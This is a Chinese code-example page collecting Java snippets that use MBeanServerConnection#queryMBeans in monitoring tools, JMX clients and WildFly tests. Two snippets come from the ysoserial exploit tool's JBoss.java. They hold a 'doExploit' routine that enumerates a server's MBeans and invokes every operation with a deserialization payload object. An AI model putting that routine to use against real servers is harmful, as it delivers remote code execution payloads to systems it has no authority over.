javax.management.MBeanServerConnection#queryMBeans ( )源码实例Demo

下面列出了javax.management.MBeanServerConnection#queryMBeans ( ) 实例代码,或者点击链接到github查看源代码,也可以在右侧发表评论。

源代码1 项目: uavstack   文件: BaseJMXMonitorDataCatchWorker.java
/**
 * scan out all monitor MBeans
 *
 * @param mbsc
 * @return
 * @throws IOException
 */
protected Set<ObjectInstance> scanMBeans(MBeanServerConnection mbsc, String pattern) throws IOException {

    Set<ObjectInstance> monitorMBeans = null;
    int count = 2;
    while (count > 0) {
        try {
            monitorMBeans = mbsc.queryMBeans(new ObjectName(pattern), null);

            if (monitorMBeans == null || monitorMBeans.isEmpty()) {
                ThreadHelper.suspend(2000);
            }
            else {
                break;
            }

        }
        catch (MalformedObjectNameException e) {
            // ignore
        }
        count--;
    }

    return monitorMBeans;
}
 
源代码2 项目: openbd-core   文件: JmxGetMBeans.java
public cfData execute( cfSession _session, List<cfData> parameters )throws cfmRunTimeException{

 	String domain	= parameters.get(0).getString();

 	cfArrayData arr = cfArrayData.createArray(1);

 	try {
   	MBeanServerConnection mbs = ManagementFactory.getPlatformMBeanServer();

   	ObjectName name = new ObjectName( domain + ":*" );
   	Set s = mbs.queryMBeans( name, null );

 		Iterator<ObjectInstance> it = s.iterator();
 		while ( it.hasNext() ){
 			ObjectInstance o	= it.next();
 			arr.addElement( new cfStringData( o.getObjectName().getKeyProperty("type") ) );
 		}
		
	} catch (Exception e) {
		throwException( _session, "Failed to retrieve the MBeans: " + e.getMessage() );
	}
 	
 	return arr;
 }
 
private void checkQueryMBeans(MBeanServerConnection connection, int count, ObjectName filter) throws Exception {
    Set<ObjectInstance> instances = connection.queryMBeans(filter, null);
    Set<ObjectName> objectNames = connection.queryNames(filter, null);
    Assert.assertEquals(count, instances.size());
    Assert.assertEquals(count, objectNames.size());

    checkSameMBeans(instances, objectNames);

    final ObjectName[] names = {LEGACY_ROOT_NAME, LEGACY_INTERFACE_NAME, LEGACY_SOCKET_BINDING_GROUP_NAME, LEGACY_SERVER_SOCKET_BINDING_NAME, LEGACY_SUBSYSTEM_NAME,
            EXPR_ROOT_NAME, EXPR_INTERFACE_NAME, EXPR_SOCKET_BINDING_GROUP_NAME, EXPR_SERVER_SOCKET_BINDING_NAME, EXPR_SUBSYSTEM_NAME};
    assertContainsNames(objectNames, names);

    for (ObjectName name : names) {
        checkQuerySingleMBean(connection, name);
    }
}
 
源代码4 项目: vjtools   文件: Client.java
protected static Object[] doBeans(final MBeanServerConnection mbsc, final ObjectName objName,
		final String[] command, final boolean oneBeanOnly) throws Exception {
	Object[] result = null;
	Set beans = mbsc.queryMBeans(objName, null);
	if (beans.isEmpty()) {
		// No bean found. Check if we are to create a bean?
		if (command.length == 1 && notEmpty(command[0]) && command[0].startsWith(CREATE_CMD_PREFIX)) {
			String className = command[0].substring(CREATE_CMD_PREFIX.length());
			mbsc.createMBean(className, objName);
		} else {
			// TODO: Is there a better JMX exception that RE for this
			// scenario?
			throw new RuntimeException(objName.getCanonicalName() + " not registered.");
		}
	} else if (beans.size() == 1) {
		result = doBean(mbsc, (ObjectInstance) beans.iterator().next(), command);
	} else {
		if (oneBeanOnly) {
			throw new RuntimeException("Only supposed to be one bean " + "query result");
		}
		// This is case of multiple beans in query results.
		// Print name of each into a StringBuffer. Return as one
		// result.
		StringBuffer buffer = new StringBuffer();
		for (Iterator i = beans.iterator(); i.hasNext();) {
			Object obj = i.next();
			if (obj instanceof ObjectName) {
				buffer.append((((ObjectName) obj).getCanonicalName()));
			} else if (obj instanceof ObjectInstance) {
				buffer.append((((ObjectInstance) obj).getObjectName().getCanonicalName()));
			} else {
				throw new RuntimeException("Unexpected object type: " + obj);
			}
			buffer.append("\n");
		}
		result = new String[] { buffer.toString() };
	}
	return result;
}
 
源代码5 项目: vjtools   文件: Client.java
protected static Object[] doBeans(final MBeanServerConnection mbsc, final ObjectName objName,
		final String[] command, final boolean oneBeanOnly) throws Exception {
	Object[] result = null;
	Set beans = mbsc.queryMBeans(objName, null);
	if (beans.size() == 0) {
		// No bean found. Check if we are to create a bean?
		if (command.length == 1 && notEmpty(command[0]) && command[0].startsWith(CREATE_CMD_PREFIX)) {
			String className = command[0].substring(CREATE_CMD_PREFIX.length());
			mbsc.createMBean(className, objName);
		} else {
			// TODO: Is there a better JMX exception that RE for this
			// scenario?
			throw new RuntimeException(objName.getCanonicalName() + " not registered.");
		}
	} else if (beans.size() == 1) {
		result = doBean(mbsc, (ObjectInstance) beans.iterator().next(), command);
	} else {
		if (oneBeanOnly) {
			throw new RuntimeException("Only supposed to be one bean " + "query result");
		}
		// This is case of multiple beans in query results.
		// Print name of each into a StringBuffer. Return as one
		// result.
		StringBuffer buffer = new StringBuffer();
		for (Iterator i = beans.iterator(); i.hasNext();) {
			Object obj = i.next();
			if (obj instanceof ObjectName) {
				buffer.append((((ObjectName) obj).getCanonicalName()));
			} else if (obj instanceof ObjectInstance) {
				buffer.append((((ObjectInstance) obj).getObjectName().getCanonicalName()));
			} else {
				throw new RuntimeException("Unexpected object type: " + obj);
			}
			buffer.append("\n");
		}
		result = new String[] { buffer.toString() };
	}
	return result;
}
 
源代码6 项目: ysoserial-modified   文件: JBoss.java
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
源代码7 项目: ysoserial   文件: JBoss.java
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
private void checkQuerySingleMBean(MBeanServerConnection connection, ObjectName filter) throws Exception {
    Set<ObjectInstance> instances = connection.queryMBeans(filter, null);
    Set<ObjectName> objectNames = connection.queryNames(filter, null);
    Assert.assertEquals("Expected 1 for " + filter, 1, instances.size());
    Assert.assertEquals("Expected 1 for " + filter, 1, objectNames.size());
    Assert.assertEquals(filter, instances.iterator().next().getObjectName());
    Assert.assertEquals(filter, objectNames.iterator().next());
}
 
@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, QueryExp query) throws IOException {
  //throw new UnsupportedOperationException("GemfireMBeanServerConnection does not implement this opeation ");
  MBeanServerConnection server = ManagementUtil.getPlatformMBeanServer();
  return server.queryMBeans(name, query);
}
 
@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, QueryExp query) throws IOException {
  //throw new UnsupportedOperationException("GemfireMBeanServerConnection does not implement this opeation ");
  MBeanServerConnection server = ManagementUtil.getPlatformMBeanServer();
  return server.queryMBeans(name, query);
}
 
源代码11 项目: jmonitor   文件: JMServer.java
public static JSONObject loadMemoryInfo(String app) {
    try {
        MemoryMXBean mBean = JMConnManager.getMemoryMBean(app);
        MemoryUsage nonHeap = mBean.getNonHeapMemoryUsage();
        MemoryUsage heap = mBean.getHeapMemoryUsage();

        JSONObject map = new JSONObject(true);
        buildMemoryJSon(heap, "heap", map);
        buildMemoryJSon(nonHeap, "nonheap", map);

        JSONObject heapChild = new JSONObject();
        JSONObject nonheapChild = new JSONObject();

        JSONObject heapUsed = new JSONObject();
        JSONObject heapMax = new JSONObject();
        heapUsed.put("used", heap.getUsed());
        heapMax.put("used", heap.getCommitted());
        heapChild.put("HeapUsed", heapUsed);
        heapChild.put("HeapCommit", heapMax);

        JSONObject nonheapUsed = new JSONObject();
        JSONObject noheapMax = new JSONObject();
        nonheapUsed.put("used", nonHeap.getUsed());
        noheapMax.put("used", nonHeap.getCommitted());

        nonheapChild.put("NonheapUsed", nonheapUsed);
        nonheapChild.put("NonheapCommit", noheapMax);

        ObjectName obj = new ObjectName("java.lang:type=MemoryPool,*");
        MBeanServerConnection conn = JMConnManager.getConn(app);
        Set<ObjectInstance> MBeanset = conn.queryMBeans(obj, null);
        for (ObjectInstance objx : MBeanset) {
            String name = objx.getObjectName().getCanonicalName();
            String keyName = objx.getObjectName().getKeyProperty("name");
            MemoryPoolMXBean bean = JMConnManager.getServer(app, name, MemoryPoolMXBean.class);
            JSONObject item = toJson(bean.getUsage());
            if (JMConnManager.HEAP_ITEM.contains(keyName)) {
                heapChild.put(keyName, item);
            } else {
                nonheapChild.put(keyName, item);
            }
        }
        map.getJSONObject("heap").put("childs", heapChild);
        map.getJSONObject("nonheap").put("childs", nonheapChild);

        return map;
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}
 
@Test
public void testExposedMBeans() throws Exception {
    MBeanServerConnection connection = setupAndGetConnection(new BaseAdditionalInitialization(ProcessType.STANDALONE_SERVER));

    int count = connection.getMBeanCount();
    checkQueryMBeans(connection, count, null);
    checkQueryMBeans(connection, count, new ObjectName("*:*"));


    Set<ObjectInstance> filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            null);
    Set<ObjectName> filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"), null);
    Assert.assertEquals(2, filteredInstances.size());
    Assert.assertEquals(2, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SOCKET_BINDING_GROUP_NAME, LEGACY_SERVER_SOCKET_BINDING_NAME);

    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            null);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), null);
    Assert.assertEquals(2, filteredInstances.size());
    Assert.assertEquals(2, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, EXPR_SOCKET_BINDING_GROUP_NAME, EXPR_SERVER_SOCKET_BINDING_NAME);

    // WFCORE-1716 Test with a property list pattern where the non-wildcard keys are for items later in the address
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding=*,*"),
    null);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding=*,*"), null);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SERVER_SOCKET_BINDING_NAME);

    // WFCORE-1257 -- Test with QueryExp

    // First a numeric query (port) = (12345)
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            PORT_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"), PORT_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SERVER_SOCKET_BINDING_NAME);
    // Doesn't match on jboss.as.expr as the value is a string
    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            PORT_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), PORT_QUERY_EXP);
    Assert.assertEquals(0, filteredInstances.size());
    Assert.assertEquals(0, filteredNames.size());

    // Next a port string query (port) = ("12345")
    // Doesn't match on jboss.as as the value is an int
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            PORT_STRING_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"), PORT_STRING_QUERY_EXP);
    Assert.assertEquals(0, filteredInstances.size());
    Assert.assertEquals(0, filteredNames.size());
    // Does match on jboss.as.expr as the value is a string
    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            PORT_STRING_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), PORT_STRING_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, EXPR_SERVER_SOCKET_BINDING_NAME);

    // Next a straight string query (defaultInterface) = ("test-interface")
    // Note this also checks a bit on the default-interface -> defaultInterface camel case handling
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            DEFAULT_INTERFACE_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            DEFAULT_INTERFACE_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SOCKET_BINDING_GROUP_NAME);

    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            DEFAULT_INTERFACE_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), DEFAULT_INTERFACE_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, EXPR_SOCKET_BINDING_GROUP_NAME);
}
 
源代码13 项目: newrelic-plugins   文件: JMXHelper.java
public static Set<ObjectInstance> queryConnectionBy(MBeanServerConnection connection, ObjectName objectName) throws Exception {
	return connection.queryMBeans(objectName, null);
}